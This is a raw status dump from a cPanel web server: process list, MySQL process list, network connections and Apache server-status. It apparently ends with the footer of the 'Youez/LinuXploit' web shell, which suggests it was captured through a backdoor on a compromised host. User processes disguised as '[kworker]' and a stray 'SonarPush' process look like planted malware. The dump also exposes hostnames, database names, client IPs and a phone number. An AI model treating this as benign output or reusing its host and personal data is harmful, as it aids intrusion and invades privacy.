systuser   1197  0.0  0.1 157700  2964 ?        S    03:34   0:00 SonarPush 0.6.12 [sleeping]
wp-tool+   1199  0.0  0.4 387528 11948 ?        Ss   03:34   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
wp-tool+   1200  0.0  1.2 412368 30216 ?        Ss   03:34   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
root       1281  0.0  0.0 183900    80 ?        Ss   03:34   0:00 cpdavd - accepting connections on: 2091, 2077, 2078 (dormant)
root       1283  0.0  0.0 167452  1340 ?        Ss   03:34   0:00 dnsadmin - dormant mode
root       1285  0.0  0.4 209208 10460 ?        Ss   03:34   0:00 tailwatchd
root       1709  0.0  0.0 299272   720 ?        Ss   03:34   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1717  0.0  0.0 130416  1424 ?        SN   03:34   0:00 cpanellogd - sleeping for logs
mysql      1764  1.2  8.2 1457284 199908 ?      Sl   03:34   0:19 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
root       1930  0.0  0.3 267052  8100 ?        Ss   03:34   0:00 /usr/sbin/httpd -k start
root       1931  0.0  0.0  12816   384 ?        S    03:34   0:00  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       1932  0.0  0.0  12732   272 ?        S    03:34   0:00  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       1933  0.0  0.0  12852   352 ?        S    03:34   0:00  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       1934  0.0  0.0  53340   100 ?        S    03:34   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody     3076  0.1  0.8 277928 20560 ?        S    03:36   0:01  \_ /usr/sbin/httpd -k start
nobody     9147  0.1  0.8 277904 20084 ?        S    03:42   0:01  \_ /usr/sbin/httpd -k start
nobody    10126  0.1  0.8 277908 20480 ?        S    03:44   0:01  \_ /usr/sbin/httpd -k start
nobody    10171  0.1  0.8 277908 20232 ?        S    03:44   0:01  \_ /usr/sbin/httpd -k start
nobody    14183  0.0  0.8 277520 19724 ?        S    03:49   0:00  \_ /usr/sbin/httpd -k start
nobody    14224  0.1  0.8 277540 19764 ?        S    03:49   0:01  \_ /usr/sbin/httpd -k start
nobody    14225  0.1  0.8 277548 20136 ?        S    03:49   0:00  \_ /usr/sbin/httpd -k start
nobody    15083  0.1  0.8 277860 19740 ?        S    03:50   0:00  \_ /usr/sbin/httpd -k start
nobody    16869  0.1  0.8 277584 19720 ?        S    03:52   0:00  \_ /usr/sbin/httpd -k start
nobody    18439  0.1  0.8 277584 19432 ?        S    03:54   0:00  \_ /usr/sbin/httpd -k start
nobody    20310  0.1  0.8 277784 19508 ?        S    03:56   0:00  \_ /usr/sbin/httpd -k start
nobody    20708  0.1  0.8 277924 19432 ?        S    03:57   0:00  \_ /usr/sbin/httpd -k start
nobody    21281  0.2  0.7 277520 18764 ?        S    03:57   0:00  \_ /usr/sbin/httpd -k start
nobody    21282  0.1  0.7 277584 19076 ?        S    03:57   0:00  \_ /usr/sbin/httpd -k start
nobody    21298  0.1  0.8 277600 19364 ?        S    03:57   0:00  \_ /usr/sbin/httpd -k start
nobody    21299  0.1  0.8 278004 19476 ?        S    03:57   0:00  \_ /usr/sbin/httpd -k start
nobody    21601  0.1  0.7 277520 18712 ?        S    03:58   0:00  \_ /usr/sbin/httpd -k start
nobody    21641  0.0  0.7 277776 18800 ?        S    03:58   0:00  \_ /usr/sbin/httpd -k start
root       2045  0.1  0.7 181160 18712 ?        Ss   03:34   0:01 lfd - sleeping
oysipao+  23203  0.0  0.0   3148   416 ?        Ss   04:00   0:00 [kworker]
oysipao+  23216  0.0  0.0   3152   632 ?        S    04:00   0:00  \_ [kworker]
## mysql stats
Uptime: 1546  Threads: 5  Questions: 99959  Slow queries: 0  Opens: 1461  Flush tables: 1  Open tables: 1371  Queries per second avg: 64.656
*************************** 1. row ***************************
     Id: 1595
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: updating
   Info: UPDATE `currency_rate` SET
`response` = '{\n  \"error\": true,\n  \"status\": 401,\n  \"message\": 
*************************** 2. row ***************************
     Id: 1596
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Query
   Time: 0
  State: freeing items
   Info: SELECT * FROM `25` WHERE `phone`='2348024664141' LIMIT 1
*************************** 3. row ***************************
     Id: 1602
   User: cloudsms_root
   Host: localhost
     db: cloudsms_sms
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 4. row ***************************
     Id: 1606
   User: cloudsms_root
   Host: localhost
     db: cloudsms_sms
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 5. row ***************************
     Id: 1608
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 142.44.220.63 TIME_WAIT
      1 192.178.4.104 TIME_WAIT
      1 ::1 TIME_WAIT
      1 20.90.7.144 TIME_WAIT
      1 40.77.167.51 TIME_WAIT
      1 74.7.175.188 TIME_WAIT
      1 74.7.242.154 TIME_WAIT
      1 74.7.242.186 TIME_WAIT
      1 89.248.161.162 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
      3 209.250.242.219 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Nov 12 2025 18:18:40
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Friday, 21-Nov-2025 04:00:02 WAT
   Restart Time: Friday, 21-Nov-2025 03:34:21 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 25 minutes 40 seconds
   Server load: 0.06 0.17 0.27
   Total accesses: 7062 - Total Traffic: 199.9 MB - Total Duration: 3753179
   CPU Usage: u8.96 s3.31 cu86.81 cs72.51 - 11.1% CPU load
   4.59 requests/sec - 132.9 kB/second - 29.0 kB/request - 531.461 ms/request
   13 requests currently being processed, 0 workers gracefully restarting, 5 idle workers

._WK.__R_KR_KKK.KK.K..............................W.............
...........R....................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID     Acc    M CPU  SS  Req  Dur   Conn  Child  Slot     Client     Protocol         VHost                                      Request
   0-0  -     0/0/238   . 0.00 81  0   103279 0.0   0.00  5.15  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   1-0  21601 0/21/406  _ 0.53 0   0   180032 0.0   0.62  8.79  ::1            http/1.1 chs1.nescrow.com.ng:80 GET //whm-server-status HTTP/1.0
   2-0  15083 0/133/330 W 3.54 0   0   173050 0.0   3.75  8.56  ::1            http/1.1 chs1.nescrow.com.ng:80 GET //whm-server-status HTTP/1.0
   3-0  20708 1/51/321  K 1.25 2   260 150862 34.4  1.32  10.78 192.178.4.101  http/1.1 team.cloudware.ng:443  GET /?l=1974738359 HTTP/1.1
   4-0  -     0/0/279   . 0.00 39  0   145411 0.0   0.00  10.54 ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   5-0  14183 0/112/212 _ 3.01 2   260 90160  0.0   2.86  6.42  192.178.4.104  http/1.1 team.cloudware.ng:443  GET /?l=1431243189 HTTP/1.1
   6-0  20310 0/48/265  _ 1.17 0   0   135651 0.0   1.22  6.45  127.0.0.1      http/1.1 chs1.nescrow.com.ng:80 GET /whm-server-status HTTP/1.0
   7-0  14224 0/161/287 R 4.22 17  261 167845 0.0   4.63  8.10  102.90.99.240  http/1.1
   8-0  14225 0/158/295 _ 4.03 2   390 172269 0.0   4.01  9.25  192.178.4.105  http/1.1 team.cloudware.ng:443  GET /?l=2551720920 HTTP/1.1
   9-0  16869 5/121/261 K 3.14 1   343 150921 156.0 3.34  8.26  192.178.4.105  http/1.1 team.cloudware.ng:443  GET /?l=4186103523 HTTP/1.1
   10-0 21281 0/41/309  R 1.11 2   275 163496 0.0   1.19  9.25  192.178.4.100  http/1.1 team.cloudware.ng:443
   11-0 3076  0/336/336 _ 8.05 2   1   176773 0.0   8.81  8.81  127.0.0.1      http/1.1 chs1.nescrow.com.ng:80 GET / HTTP/1.1
   12-0 21282 9/33/221  K 0.88 1   352 128593 279.9 0.94  5.70  192.178.4.97   http/1.1 team.cloudware.ng:443  GET /?l=466099243 HTTP/1.1
   13-0 21641 12/16/197 K 0.42 0   368 116490 375.8 0.46  5.41  192.178.4.103  http/1.1 team.cloudware.ng:443  GET /?ctg/search/similarImageSearchResultView/?ctgItemCd=251969
   14-0 18439 1/69/134  K 1.69 0   493 166572 34.3  2.27  6.73  192.178.4.98   http/1.1 team.cloudware.ng:443  GET /?l=3531097541 HTTP/1.1
   15-0 -     0/0/137   . 0.00 118 0   74532  0.0   0.00  3.57  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   16-0 21298 2/24/201  K 0.49 3   296 69854  63.3  0.61  3.77  192.178.4.99   http/1.1 team.cloudware.ng:443  GET /?l=3270296118 HTTP/1.1
   17-0 21299 5/33/159  K 0.77 1   409 70827  160.3 1.00  4.11  192.178.4.104  http/1.1 team.cloudware.ng:443  GET /?l=1890003686 HTTP/1.1
   18-0 -     0/0/150   . 0.00 40  0   78922  0.0   0.00  4.37  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   19-0 9147  5/214/249 K 4.76 2   272 122528 158.5 5.50  6.36  192.178.4.102  http/1.1 team.cloudware.ng:443  GET /?l=3693944945 HTTP/1.1
   20-0 -     0/0/15    . 0.00 893 0   5142   0.0   0.00  0.25  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   21-0 -     0/0/94    . 0.00 630 0   47143  0.0   0.00  3.34  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   22-0 -     0/0/80    . 0.00 949 0   43577  0.0   0.00  2.82  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   23-0 -     0/0/84    . 0.00 913 0   58879  0.0   0.00  2.50  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   24-0 -     0/0/198   . 0.00 168 0   107264 0.0   0.00  5.28  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   25-0 -     0/0/27    . 0.00 830 0   9251   0.0   0.00  0.49  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   26-0 -     0/0/3     . 0.00 946 0   67     0.0   0.00  0.01  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   27-0 -     0/0/6     . 0.00 904 0   3360   0.0   0.00  0.16  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   28-0 -     0/0/184   . 0.00 198 0   93070  0.0   0.00  4.64  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   29-0 -     0/0/2     . 0.00 948 0   9      0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   30-0 -     0/0/2     . 0.00 947 0   13     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   31-0 -     0/0/4     . 0.00 927 0   2022   0.0   0.00  0.09  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   32-0 -     0/0/5     . 0.00 903 0   1566   0.0   0.00  0.08  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   33-0 -     0/0/5     . 0.00 918 0   1895   0.0   0.00  0.10  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   34-0 -     0/0/3     . 0.00 929 0   57     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   35-0 -     0/0/22    . 0.00 868 0   11094  0.0   0.00  0.65  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   36-0 -     0/0/4     . 0.00 906 0   823    0.0   0.00  0.04  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   37-0 -     0/0/80    . 0.00 561 0   38300  0.0   0.00  1.90  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   38-0 -     0/0/14    . 0.00 863 0   6642   0.0   0.00  0.35  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   39-0 -     0/0/2     . 0.00 923 0   40     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   40-0 -     0/0/2     . 0.00 926 4   40     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   41-0 -     0/0/2     . 0.00 944 0   34     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   42-0 -     0/0/8     . 0.00 897 0   4106   0.0   0.00  0.19  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   43-0 -     0/0/6     . 0.00 898 0   2657   0.0   0.00  0.12  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   44-0 -     0/0/9     . 0.00 899 0   3864   0.0   0.00  0.22  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   45-0 -     0/0/10    . 0.00 876 0   3619   0.0   0.00  0.23  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   46-0 -     0/0/2     . 0.00 945 0   113    0.0   0.00  0.11  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   47-0 -     0/0/3     . 0.00 908 0   38     0.0   0.00  0.01  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   48-0 -     0/0/2     . 0.00 924 0   18     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   49-0 -     0/0/19    . 0.00 866 0   9315   0.0   0.00  0.49  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   50-0 10126 1/245/245 W 6.86 0   0   129244 34.7  6.36  6.36  192.178.4.100  http/1.1 team.cloudware.ng:443  GET /?l=395650597 HTTP/1.1
   51-0 -     0/0/2     . 0.00 943 0   23     0.0   0.00  0.03  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   52-0 -     0/0/2     . 0.00 942 0   19     0.0   0.00  0.01  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   53-0 -     0/0/28    . 0.00 793 0   31192  0.0   0.00  3.71  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   54-0 -     0/0/2     . 0.00 938 0   52     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   55-0 -     0/0/3     . 0.00 921 0   73     0.0   0.00  0.01  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   56-0 -     0/0/2     . 0.00 939 0   54     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   57-0 -     0/0/2     . 0.00 937 0   40     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   58-0 -     0/0/86    . 0.00 563 0   43953  0.0   0.00  2.25  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   59-0 -     0/0/9     . 0.00 867 0   3369   0.0   0.00  0.22  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   60-0 -     0/0/2     . 0.00 941 0   51     0.0   0.00  0.01  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   61-0 -     0/0/2     . 0.00 930 0   36     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   62-0 -     0/0/5     . 0.00 901 0   1263   0.0   0.00  0.07  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   63-0 -     0/0/2     . 0.00 934 0   35     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   64-0 -     0/0/14    . 0.00 895 0   8103   0.0   0.00  0.36  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   65-0 -     0/0/2     . 0.00 940 0   46     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   66-0 -     0/0/3     . 0.00 914 0   53     0.0   0.00  0.01  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   67-0 -     0/0/2     . 0.00 931 0   145    0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   68-0 -     0/0/4     . 0.00 900 0   753    0.0   0.00  0.04  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   69-0 -     0/0/224   . 0.00 21  0   141502 0.0   0.00  5.80  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   70-0 -     0/0/2     . 0.00 933 0   52     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   71-0 -     0/0/17    . 0.00 864 0   9108   0.0   0.00  0.43  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   72-0 -     0/0/138   . 0.00 387 0   86335  0.0   0.00  5.84  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   73-0 -     0/0/28    . 0.00 796 0   14353  0.0   0.00  0.77  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   74-0 -     0/0/41    . 0.00 735 0   23982  0.0   0.00  1.17  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   75-0 10171 0/240/240 R 6.52 88  6   136099 0.0   6.70  6.70  105.113.93.152 http/1.1
   76-0 -     0/0/2     . 0.00 936 0   44     0.0   0.00  0.00  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   77-0 -     0/0/3     . 0.00 928 0   58     0.0   0.00  0.10  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   78-0 -     0/0/5     . 0.00 907 0   1963   0.0   0.00  0.10  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   79-0 -     0/0/2     . 0.00 932 0   34     0.0   0.00  0.01  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   80-0 -     0/0/48    . 0.00 734 0   25894  0.0   0.00  1.23  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   81-0 -     0/0/3     . 0.00 909 0   672    0.0   0.00  0.04  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   82-0 -     0/0/8     . 0.00 892 0   2458   0.0   0.00  0.14  ::1            http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 1012
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 8 seconds, (range: 0...35)
   index usage: 17%, cache usage: 24%
   total entries stored since starting: 4778
   total entries replaced since starting: 0
   total entries expired since starting: 3763
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 0 hit, 20 miss
   total removes since starting: 4 hit, 2 miss

Youez - 2016 - github.com/yon3zu
LinuXploit